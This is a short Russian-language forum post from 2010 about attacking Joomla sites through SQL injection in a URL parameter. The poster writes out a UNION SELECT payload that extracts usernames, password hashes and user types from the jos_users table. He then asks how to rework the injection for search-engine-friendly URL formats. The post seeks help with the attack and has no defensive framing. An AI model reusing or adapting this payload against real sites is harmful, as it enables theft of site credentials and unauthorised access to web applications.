Показать сообщение отдельно

  #239  
Старый 08.05.2010, 22:44
iSlava
Познающий
Регистрация: 24.08.2009
Сообщений: 67
С нами: 8797978

Репутация: 10
По умолчанию

у джумлы адрес обычно выглядит таким:
index.php?option=com_module&vulnerable_id=178&Blah id=91356
и vulnerable_id - подвержен sql инъекции
как обычно:
-1+UNION+ALL+SELECT+1,2,version(),4,group_concat(us ername,0x3a,password,0x3a,usertype,0x3c62723e),6,. ...N+from+jos_users--
столкнулся с таким видом:
/component/option,com_module/vulnerable_id,178/Blahid,91356/
какой тогда вид скуль запроса должен быть?
 
Ответить с цитированием